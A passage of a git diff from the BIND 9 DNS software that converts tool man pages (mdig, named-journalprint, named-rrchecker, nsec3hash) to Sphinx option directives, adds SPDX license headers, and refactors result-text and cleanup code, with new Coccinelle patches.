    units of "s", "m", "h", "d", and "w", representing seconds, minutes,
    hours, days, and weeks. This implies +ttlid.
 
-``+[no]vc``
+.. option:: +vc, +novc
+
    This option uses [or does not use] TCP when querying name servers. This alternate
-   syntax to ``+[no]tcp`` is provided for backwards compatibility. The
+   syntax to :option:`+tcp` is provided for backwards compatibility. The
    ``vc`` stands for "virtual circuit".
 
 Local Options
 ~~~~~~~~~~~~~
 
-``-c class``
+.. option:: -c class
+
    This option sets the query class to ``class``. It can be any valid
    query class which is supported in BIND 9. The default query class is
    "IN".
 
-``-t type``
+.. option:: -t type
+
    This option sets the query type to ``type``. It can be any valid
    query type which is supported in BIND 9. The default query type is "A",
-   unless the ``-x`` option is supplied to indicate a reverse lookup with
+   unless the :option:`-x` option is supplied to indicate a reverse lookup with
    the "PTR" query type.
 
-``-x addr``
+.. option:: -x addr
+
    Reverse lookups - mapping addresses to names - are simplified by
    this option. ``addr`` is an IPv4 address in dotted-decimal
-   notation, or a colon-delimited IPv6 address. ``mdig`` automatically
+   notation, or a colon-delimited IPv6 address. :program:`mdig` automatically
    performs a lookup for a query name like ``11.12.13.10.in-addr.arpa`` and
    sets the query type and class to PTR and IN respectively. By default,
    IPv6 addresses are looked up using nibble format under the IP6.ARPA
@@ -224,13 +241,16 @@ Local Options
 
 The local query options are:
 
-``+[no]aaflag``
-   This is a synonym for ``+[no]aaonly``.
+.. option:: +aaflag, +noaaflag
+
+   This is a synonym for :option:`+aaonly`, :option:`+noaaonly`.
+
+.. option:: +aaonly, +noaaonly
 
-``+[no]aaonly``
    This sets the ``aa`` flag in the query.
 
-``+[no]adflag``
+.. option:: +adflag, +noadflag
+
    This sets [or does not set] the AD (authentic data) bit in the query. This
    requests the server to return whether all of the answer and authority
    sections have all been validated as secure, according to the security
@@ -239,59 +259,71 @@ The local query options are:
    indicates that some part of the answer was insecure or not validated.
    This bit is set by default.
 
-``+bufsize=B``
+.. option:: +bufsize=B
+
    This sets the UDP message buffer size advertised using EDNS0 to ``B``
    bytes. The maximum and minimum sizes of this buffer are 65535 and 0
    respectively. Values outside this range are rounded up or down
    appropriately. Values other than zero cause a EDNS query to be
    sent.
 
-``+[no]cdflag``
+.. option:: +cdflag, +nocdflag
+
    This sets [or does not set] the CD (checking disabled) bit in the query. This
    requests the server to not perform DNSSEC validation of responses.
 
-``+[no]cookie=####``
+.. option:: +cookie=####, +nocookie
+
    This sends [or does not send] a COOKIE EDNS option, with an optional value. Replaying a COOKIE
    from a previous response allows the server to identify a previous
    client. The default is ``+nocookie``.
 
-``+[no]dnssec``
+.. option:: +dnssec, +nodnssec
+
    This requests that DNSSEC records be sent by setting the DNSSEC OK (DO) bit in
    the OPT record in the additional section of the query.
 
-``+[no]edns[=#]``
+.. option:: +edns[=#], +noedns
+
    This specifies [or does not specify] the EDNS version to query with. Valid values are 0 to 255.
    Setting the EDNS version causes an EDNS query to be sent.
    ``+noedns`` clears the remembered EDNS version. EDNS is set to 0 by
    default.
 
-``+[no]ednsflags[=#]``
+.. option:: +ednsflags[=#], +noednsflags
+
    This sets the must-be-zero EDNS flag bits (Z bits) to the specified value.
    Decimal, hex, and octal encodings are accepted. Setting a named flag
    (e.g. DO) is silently ignored. By default, no Z bits are set.
 
-``+[no]ednsopt[=code[:value]]``
+.. option:: +ednsopt[=code[:value]], +noednsopt
+
    This specifies [or does not specify] an EDNS option with code point ``code`` and an optional payload
    of ``value`` as a hexadecimal string. ``+noednsopt`` clears the EDNS
    options to be sent.
 
-``+[no]expire``
+.. option:: +expire, +noexpire
+
    This toggles sending of an EDNS Expire option.
 
-``+[no]nsid``
+.. option:: +nsid, +nonsid
+
    This toggles inclusion of an EDNS name server ID request when sending a query.
 
-``+[no]recurse``
+.. option:: +recurse, +norecurse
+
    This toggles the setting of the RD (recursion desired) bit in the query.
-   This bit is set by default, which means ``mdig`` normally sends
+   This bit is set by default, which means :program:`mdig` normally sends
    recursive queries.
 
-``+retry=T``
+.. option:: +retry=T
+
    This sets the number of times to retry UDP queries to server to ``T``
-   instead of the default, 2. Unlike ``+tries``, this does not include
+   instead of the default, 2. Unlike :option:`+tries`, this does not include
    the initial query.
 
-``+[no]subnet=addr[/prefix-length]``
+.. option:: +subnet=addr[/prefix-length], +nosubnet
+
    This sends [or does not send] an EDNS Client Subnet option with the specified IP
    address or network prefix.
 
@@ -300,33 +332,39 @@ The local query options are:
    prefix-length of zero, which signals a resolver that the client's
    address information must *not* be used when resolving this query.
 
-``+timeout=T``
+.. option:: +timeout=T
+
    This sets the timeout for a query to ``T`` seconds. The default timeout is
    5 seconds for UDP transport and 10 for TCP. An attempt to set ``T``
    to less than 1 results in a query timeout of 1 second being
    applied.
 
-``+tries=T``
+.. option:: +tries=T
+
    This sets the number of times to try UDP queries to server to ``T``
    instead of the default, 3. If ``T`` is less than or equal to zero,
    the number of tries is silently rounded up to 1.
 
-``+udptimeout=T``
+.. option:: +udptimeout=T
+
    This sets the timeout between UDP query retries to ``T``.
 
-``+[no]unknownformat``
+.. option:: +unknownformat, +nounknownformat
+
    This prints [or does not print] all RDATA in unknown RR-type presentation format (see :rfc:`3597`).
    The default is to print RDATA for known types in the type's
    presentation format.
 
-``+[no]yaml``
+.. option:: +yaml, +noyaml
+
    This toggles printing of the responses in a detailed YAML format.
 
-``+[no]zflag``
+.. option:: +zflag, +nozflag
+
    This sets [or does not set] the last unassigned DNS header flag in a DNS query.
    This flag is off by default.
 
 See Also
 ~~~~~~~~
 
-:manpage:`dig(1)`, :rfc:`1035`.
+:iscman:`dig(1) <dig>`, :rfc:`1035`.
diff --git a/bin/tools/named-journalprint.c b/bin/tools/named-journalprint.c
index 74b7227059..11d3cd8784 100644
--- a/bin/tools/named-journalprint.c
+++ b/bin/tools/named-journalprint.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,12 +18,11 @@
 #include <isc/commandline.h>
 #include <isc/log.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/util.h>
 
 #include <dns/journal.h>
 #include <dns/log.h>
-#include <dns/result.h>
 #include <dns/types.h>
 
 const char *progname = NULL;
@@ -123,7 +124,7 @@ main(int argc, char **argv) {
 	} else {
 		result = dns_journal_print(mctx, flags, file, stdout);
 		if (result == DNS_R_NOJOURNAL) {
-			fprintf(stderr, "%s\n", dns_result_totext(result));
+			fprintf(stderr, "%s\n", isc_result_totext(result));
 		}
 	}
 	isc_log_destroy(&lctx);
diff --git a/bin/tools/named-journalprint.rst b/bin/tools/named-journalprint.rst
index 8bc4a3e136..9d56801864 100644
--- a/bin/tools/named-journalprint.rst
+++ b/bin/tools/named-journalprint.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: named-journalprint
+.. program:: named-journalprint
 .. _man_named-journalprint:
 
 named-journalprint - print zone journal in human-readable form
@@ -34,26 +26,26 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``named-journalprint`` scans the contents of a zone journal file,
+:program:`named-journalprint` scans the contents of a zone journal file,
 printing it in a human-readable form, or, optionally, converting it
 to a different journal file format.
 
-Journal files are automatically created by ``named`` when changes are
-made to dynamic zones (e.g., by ``nsupdate``). They record each addition
+Journal files are automatically created by :iscman:`named` when changes are
+made to dynamic zones (e.g., by :iscman:`nsupdate`). They record each addition
 or deletion of a resource record, in binary format, allowing the changes
 to be re-applied to the zone when the server is restarted after a
 shutdown or crash. By default, the name of the journal file is formed by
 appending the extension ``.jnl`` to the name of the corresponding zone
 file.
 
-``named-journalprint`` converts the contents of a given journal file
+:program:`named-journalprint` converts the contents of a given journal file
 into a human-readable text format. Each line begins with ``add`` or ``del``,
 to indicate whether the record was added or deleted, and continues with
 the resource record in master-file format.
 
 The ``-c`` (compact) option provides a mechanism to reduce the size of
 a journal by removing (most/all) transactions prior to the specified
-serial number. Note: this option *must not* be used while ``named`` is
+serial number. Note: this option *must not* be used while :iscman:`named` is
 running, and can cause data loss if the zone file has not been updated
 to contain the data being removed from the journal. Use with extreme caution.
 
@@ -66,9 +58,9 @@ replaced.  ``-d`` writes out the journal in the format used by
 versions of BIND up to 9.16.11; ``-u`` writes it out in the format used
 by versions since 9.16.13. (9.16.12 is omitted due to a journal-formatting
 bug in that release.) Note that these options *must not* be used while
-``named`` is running.
+:iscman:`named` is running.
 
 See Also
 ~~~~~~~~
 
-:manpage:`named(8)`, :manpage:`nsupdate(1)`, BIND 9 Administrator Reference Manual.
+:iscman:`named(8) <named>`, :iscman:`nsupdate(1) <nsupdate>`, BIND 9 Administrator Reference Manual.
diff --git a/bin/tools/named-nzd2nzf.c b/bin/tools/named-nzd2nzf.c
index a960bcbf4f..9f3b440eca 100644
--- a/bin/tools/named-nzd2nzf.c
+++ b/bin/tools/named-nzd2nzf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,8 +19,6 @@
 #include <stdio.h>
 #include <stdlib.h>
 
-#include <isc/print.h>
-
 #include <dns/view.h>
 
 int
diff --git a/bin/tools/named-nzd2nzf.rst b/bin/tools/named-nzd2nzf.rst
index 4421598fde..9711f8dd7d 100644
--- a/bin/tools/named-nzd2nzf.rst
+++ b/bin/tools/named-nzd2nzf.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: named-nzd2nzf
+.. program:: named-nzd2nzf
 .. _man_named-nzd2nzf:
 
 named-nzd2nzf - convert an NZD database to NZF text format
@@ -34,16 +26,17 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``named-nzd2nzf`` converts an NZD database to NZF format and prints it
+:program:`named-nzd2nzf` converts an NZD database to NZF format and prints it
 to standard output. This can be used to review the configuration of
-zones that were added to ``named`` via ``rndc addzone``. It can also be
+zones that were added to :iscman:`named` via :option:`rndc addzone`. It can also be
 used to restore the old file format when rolling back from a newer
 version of BIND to an older version.
 
 Arguments
 ~~~~~~~~~
 
-``filename``
+.. option:: filename
+
    This is the name of the ``.nzd`` file whose contents should be printed.
 
 See Also
diff --git a/bin/tools/named-rrchecker.c b/bin/tools/named-rrchecker.c
index 806b7011e6..b20a7e7d28 100644
--- a/bin/tools/named-rrchecker.c
+++ b/bin/tools/named-rrchecker.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,7 +19,7 @@
 #include <isc/commandline.h>
 #include <isc/lex.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -26,14 +28,13 @@
 #include <dns/rdata.h>
 #include <dns/rdataclass.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 
 static isc_mem_t *mctx;
 static isc_lex_t *lex;
 
 static isc_lexspecials_t specials;
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -50,7 +51,18 @@ usage(void) {
 	exit(0);
 }
 
-ISC_NORETURN static void
+static void
+cleanup(void) {
+	if (lex != NULL) {
+		isc_lex_close(lex);
+		isc_lex_destroy(&lex);
+	}
+	if (mctx != NULL) {
+		isc_mem_destroy(&mctx);
+	}
+}
+
+noreturn static void
 fatal(const char *format, ...);
 
 static void
@@ -62,6 +74,7 @@ fatal(const char *format, ...) {
 	vfprintf(stderr, format, args);
 	va_end(args);
 	fputc('\n', stderr);
+	cleanup();
 	exit(1);
 }
 
@@ -155,7 +168,7 @@ main(int argc, char *argv[]) {
 	}
 
 	isc_mem_create(&mctx);
-	RUNTIME_CHECK(isc_lex_create(mctx, 256, &lex) == ISC_R_SUCCESS);
+	isc_lex_create(mctx, 256, &lex);
 
 	/*
 	 * Set up to lex DNS master file.
@@ -172,10 +185,11 @@ main(int argc, char *argv[]) {
 
 	if (origin != NULL) {
 		name = dns_fixedname_initname(&fixed);
-		result = dns_name_fromstring(name, origin, 0, NULL);
+		result = dns_name_fromstring(name, origin, dns_rootname, 0,
+					     NULL);
 		if (result != ISC_R_SUCCESS) {
 			fatal("dns_name_fromstring: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		}
 	}
 
@@ -209,7 +223,7 @@ main(int argc, char *argv[]) {
 				&rdclass, &token.value.as_textregion);
 			if (result != ISC_R_SUCCESS) {
 				fatal("dns_rdataclass_fromtext: %s",
-				      dns_result_totext(result));
+				      isc_result_totext(result));
 			}
 			if (dns_rdataclass_ismeta(rdclass)) {
 				fatal("class %.*s(%d) is a meta value",
@@ -250,7 +264,7 @@ main(int argc, char *argv[]) {
 				&rdtype, &token.value.as_textregion);
 			if (result != ISC_R_SUCCESS) {
 				fatal("dns_rdatatype_fromtext: %s",
-				      dns_result_totext(result));
+				      isc_result_totext(result));
 			}
 			if (dns_rdatatype_ismeta(rdtype)) {
 				fatal("type %.*s(%d) is a meta value",
@@ -266,7 +280,7 @@ main(int argc, char *argv[]) {
 					    0, mctx, &dbuf, NULL);
 		if (result != ISC_R_SUCCESS) {
 			fatal("dns_rdata_fromtext: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		}
 		once = true;
 	}
@@ -282,19 +296,19 @@ main(int argc, char *argv[]) {
 		result = dns_rdataclass_totext(rdclass, &tbuf);
 		if (result != ISC_R_SUCCESS) {
 			fatal("dns_rdataclass_totext: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		}
 		isc_buffer_putstr(&tbuf, "\t");
 		result = dns_rdatatype_totext(rdtype, &tbuf);
 		if (result != ISC_R_SUCCESS) {
 			fatal("dns_rdatatype_totext: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		}
 		isc_buffer_putstr(&tbuf, "\t");
 		result = dns_rdata_totext(&rdata, NULL, &tbuf);
 		if (result != ISC_R_SUCCESS) {
 			fatal("dns_rdata_totext: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		}
 
 		printf("%.*s\n", (int)tbuf.used, (char *)tbuf.base);
@@ -306,13 +320,13 @@ main(int argc, char *argv[]) {
 		result = dns_rdataclass_tounknowntext(rdclass, &tbuf);
 		if (result != ISC_R_SUCCESS) {
 			fatal("dns_rdataclass_tounknowntext: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		}
 		isc_buffer_putstr(&tbuf, "\t");
 		result = dns_rdatatype_tounknowntext(rdtype, &tbuf);
 		if (result != ISC_R_SUCCESS) {
 			fatal("dns_rdatatype_tounknowntext: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		}
 		isc_buffer_putstr(&tbuf, "\t");
 		result = dns_rdata_tofmttext(&rdata, NULL,
@@ -320,15 +334,13 @@ main(int argc, char *argv[]) {
 					     "", &tbuf);
 		if (result != ISC_R_SUCCESS) {
 			fatal("dns_rdata_tofmttext: %sn",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		}
 
 		printf("%.*s\n", (int)tbuf.used, (char *)tbuf.base);
 		fflush(stdout);
 	}
 
-	isc_lex_close(lex);
-	isc_lex_destroy(&lex);
-	isc_mem_destroy(&mctx);
+	cleanup();
 	return (0);
 }
diff --git a/bin/tools/named-rrchecker.rst b/bin/tools/named-rrchecker.rst
index e7b8d91842..28da236b72 100644
--- a/bin/tools/named-rrchecker.rst
+++ b/bin/tools/named-rrchecker.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: named-rrchecker
+.. program:: named-rrchecker
 .. _man_named-rrchecker:
 
 named-rrchecker - syntax checker for individual DNS resource records
@@ -34,32 +26,37 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``named-rrchecker`` reads a individual DNS resource record from standard
+:program:`named-rrchecker` reads a individual DNS resource record from standard
 input and checks whether it is syntactically correct.
 
 Options
 ~~~~~~~
 
-``-h``
+.. option:: -h
+
    This option prints out the help menu.
 
-``-o origin``
+.. option:: -o origin
+
    This option specifies the origin to be used when interpreting
    the record.
 
-``-p``
+.. option:: -p
+
    This option prints out the resulting record in canonical form. If there
    is no canonical form defined, the record is printed in unknown
    record format.
 
-``-u``
+.. option:: -u
+
    This option prints out the resulting record in unknown record form.
 
-``-C``, ``-T``, and ``-P``
+.. option:: -C, -T, -P
+
    These options print out the known class, standard type,
    and private type mnemonics, respectively.
 
 See Also
 ~~~~~~~~
 
-:rfc:`1034`, :rfc:`1035`, :manpage:`named(8)`.
+:rfc:`1034`, :rfc:`1035`, :iscman:`named(8) <named>`.
diff --git a/bin/tools/nsec3hash.c b/bin/tools/nsec3hash.c
index 6f10840ca1..aaa52d0bb0 100644
--- a/bin/tools/nsec3hash.c
+++ b/bin/tools/nsec3hash.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,9 +22,9 @@
 #include <isc/file.h>
 #include <isc/hex.h>
 #include <isc/iterated_hash.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/string.h>
+#include <isc/tls.h>
 #include <isc/types.h>
 #include <isc/util.h>
 
@@ -33,7 +35,7 @@
 
 const char *program = "nsec3hash";
 
-ISC_NORETURN static void
+noreturn static void
 fatal(const char *format, ...);
 
 static void
@@ -45,6 +47,7 @@ fatal(const char *format, ...) {
 	vfprintf(stderr, format, args);
 	va_end(args);
 	fprintf(stderr, "\n");
+	isc__tls_setfatalmode();
 	exit(1);
 }
 
@@ -65,8 +68,8 @@ usage(void) {
 }
 
 typedef void
-nsec3printer(unsigned algo, unsigned flags, unsigned iters, const char *saltstr,
-	     const char *domain, const char *digest);
+nsec3printer(unsigned int algo, unsigned int flags, unsigned int iters,
+	     const char *saltstr, const char *domain, const char *digest);
 
 static void
 nsec3hash(nsec3printer *nsec3print, const char *algostr, const char *flagstr,
@@ -136,7 +139,7 @@ nsec3hash(nsec3printer *nsec3print, const char *algostr, const char *flagstr,
 }
 
 static void
-nsec3hash_print(unsigned algo, unsigned flags, unsigned iters,
+nsec3hash_print(unsigned int algo, unsigned int flags, unsigned int iters,
 		const char *saltstr, const char *domain, const char *digest) {
 	UNUSED(flags);
 	UNUSED(domain);
@@ -146,7 +149,7 @@ nsec3hash_print(unsigned algo, unsigned flags, unsigned iters,
 }
 
 static void
-nsec3hash_rdata_print(unsigned algo, unsigned flags, unsigned iters,
+nsec3hash_rdata_print(unsigned int algo, unsigned int flags, unsigned int iters,
 		      const char *saltstr, const char *domain,
 		      const char *digest) {
 	fprintf(stdout, "%s NSEC3 %u %u %u %s %s\n", domain, algo, flags, iters,
diff --git a/bin/tools/nsec3hash.rst b/bin/tools/nsec3hash.rst
index ff0445359d..43a8d64ced 100644
--- a/bin/tools/nsec3hash.rst
+++ b/bin/tools/nsec3hash.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: nsec3hash
+.. program:: nsec3hash
 .. _man_nsec3hash:
 
 nsec3hash - generate NSEC3 hash
@@ -36,7 +28,7 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``nsec3hash`` generates an NSEC3 hash based on a set of NSEC3
+:program:`nsec3hash` generates an NSEC3 hash based on a set of NSEC3
 parameters. This can be used to check the validity of NSEC3 records in a
 signed zone.
 
@@ -49,22 +41,27 @@ into a command line to confirm the correctness of an NSEC3 hash.
 Arguments
 ~~~~~~~~~
 
-``salt``
+.. option:: salt
+
    This is the salt provided to the hash algorithm.
 
-``algorithm``
+.. option:: algorithm
+
    This is a number indicating the hash algorithm. Currently the only supported
    hash algorithm for NSEC3 is SHA-1, which is indicated by the number
    1; consequently "1" is the only useful value for this argument.
 
-``flags``
+.. option:: flags
+
    This is provided for compatibility with NSEC3 record presentation format, but
    is ignored since the flags do not affect the hash.
 
-``iterations``
+.. option:: iterations
+
    This is the number of additional times the hash should be performed.
 
-``domain``
+.. option:: domain
+
    This is the domain name to be hashed.
 
 See Also
diff --git a/bind.keys b/bind.keys
index 6d4217f1a6..1ac4a56898 100644
--- a/bind.keys
+++ b/bind.keys
@@ -1,3 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
 # The bind.keys file is used to override the built-in DNSSEC trust anchors
 # which are included as part of BIND 9.  The only trust anchors it contains
 # are for the DNS root zone (".").  Trust anchors for any other zones MUST
diff --git a/cocci/UV_RUNTIME_CHECK.spatch b/cocci/UV_RUNTIME_CHECK.spatch
new file mode 100644
index 0000000000..6a50195b89
--- /dev/null
+++ b/cocci/UV_RUNTIME_CHECK.spatch
@@ -0,0 +1,8 @@
+@@
+expression E;
+int R;
+@@
+
+  R = E(...);
+- UV_RUNTIME_CHECK(...);
++ UV_RUNTIME_CHECK(E, R);
diff --git a/cocci/dns_message_create.spatch b/cocci/dns_message_create.spatch
index bab6d587f6..74d290e419 100644
--- a/cocci/dns_message_create.spatch
+++ b/cocci/dns_message_create.spatch
@@ -66,15 +66,6 @@ expression V;
   dns_message_create(...);
 - CHECK(..., V);
 
-@@
-expression V;
-statement S;
-@@
-
-- V =
-  dns_message_create(...);
-- if (ISC_UNLIKELY(V != ISC_R_SUCCESS)) S
-
 @@
 expression V;
 @@
diff --git a/cocci/dns_message_gettemp.disabled b/cocci/dns_message_gettemp.disabled
new file mode 100644
index 0000000000..ed5a711ec9
--- /dev/null
+++ b/cocci/dns_message_gettemp.disabled
@@ -0,0 +1,155 @@
+@@
+statement S;
+expression V;
+@@
+
+- V =
+  dns_message_gettempname(...);
+- if (V != ISC_R_SUCCESS) S
+
+@@
+statement S;
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdata(...);
+- if (V != ISC_R_SUCCESS) S
+
+@@
+statement S;
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdataset(...);
+- if (V != ISC_R_SUCCESS) S
+
+@@
+statement S;
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdatalist(...);
+- if (V != ISC_R_SUCCESS) S
+
+@@
+@@
+
+- CHECK(
+  dns_message_gettempname(...)
+- )
+
+@@
+@@
+
+- CHECK(
+  dns_message_gettemprdata(...)
+- )
+
+@@
+@@
+
+- CHECK(
+  dns_message_gettemprdataset(...)
+- )
+
+@@
+@@
+
+- CHECK(
+  dns_message_gettemprdatalist(...)
+- )
+
+@@
+@@
+
+- RETERR(
+  dns_message_gettempname(...)
+- )
+
+@@
+@@
+
+- RETERR(
+  dns_message_gettemprdata(...)
+- )
+
+@@
+@@
+
+- RETERR(
+  dns_message_gettemprdataset(...)
+- )
+
+@@
+@@
+
+- RETERR(
+  dns_message_gettemprdatalist(...)
+- )
+
+@@
+expression V;
+@@
+
+- V =
+  dns_message_gettempname(...);
+- check_result(V, ...);
+
+@@
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdata(...);
+- check_result(V, ...);
+
+@@
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdataset(...);
+- check_result(V, ...);
+
+@@
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdatalist(...);
+- check_result(V, ...);
+
+@@
+expression V;
+@@
+
+- V =
+  dns_message_gettempname(...);
+- CHECK(..., V);
+
+@@
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdata(...);
+- CHECK(..., V);
+
+@@
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdataset(...);
+- CHECK(..., V);
+
+@@
+expression V;
+@@
+
+- V =
+  dns_message_gettemprdatalist(...);
+- CHECK(..., V);
diff --git a/cocci/dns_name_copy-with-result.spatch b/cocci/dns_name_copy-with-result.spatch
index 129d421d67..f3313b7672 100644
--- a/cocci/dns_name_copy-with-result.spatch
+++ b/cocci/dns_name_copy-with-result.spatch
@@ -25,6 +25,6 @@ statement S1, S2;
 - V = dns_name_copy(E1, E2, NULL);
 - S1
 - if (V == ISC_R_SUCCESS) S2
-+ dns_name_copy(E1, E2):
++ dns_name_copy(E1, E2);
 + S1
 + S2
diff --git a/cocci/isc_buffer_allocate_never_fail.spatch b/cocci/isc_buffer_allocate_never_fail.spatch
index b632e4e3b9..bc02f1429e 100644
--- a/cocci/isc_buffer_allocate_never_fail.spatch
+++ b/cocci/isc_buffer_allocate_never_fail.spatch
@@ -66,15 +66,6 @@ expression V;
   isc_buffer_allocate(...);
 - CHECK(..., V);
 
-@@
-expression V;
-statement S;
-@@
-
-- V =
-  isc_buffer_allocate(...);
-- if (ISC_UNLIKELY(V != ISC_R_SUCCESS)) S
-
 @@
 expression V;
 @@
diff --git a/cocci/isc_mem_cget.spatch b/cocci/isc_mem_cget.spatch
new file mode 100644
index 0000000000..af2fb5b224
--- /dev/null
+++ b/cocci/isc_mem_cget.spatch
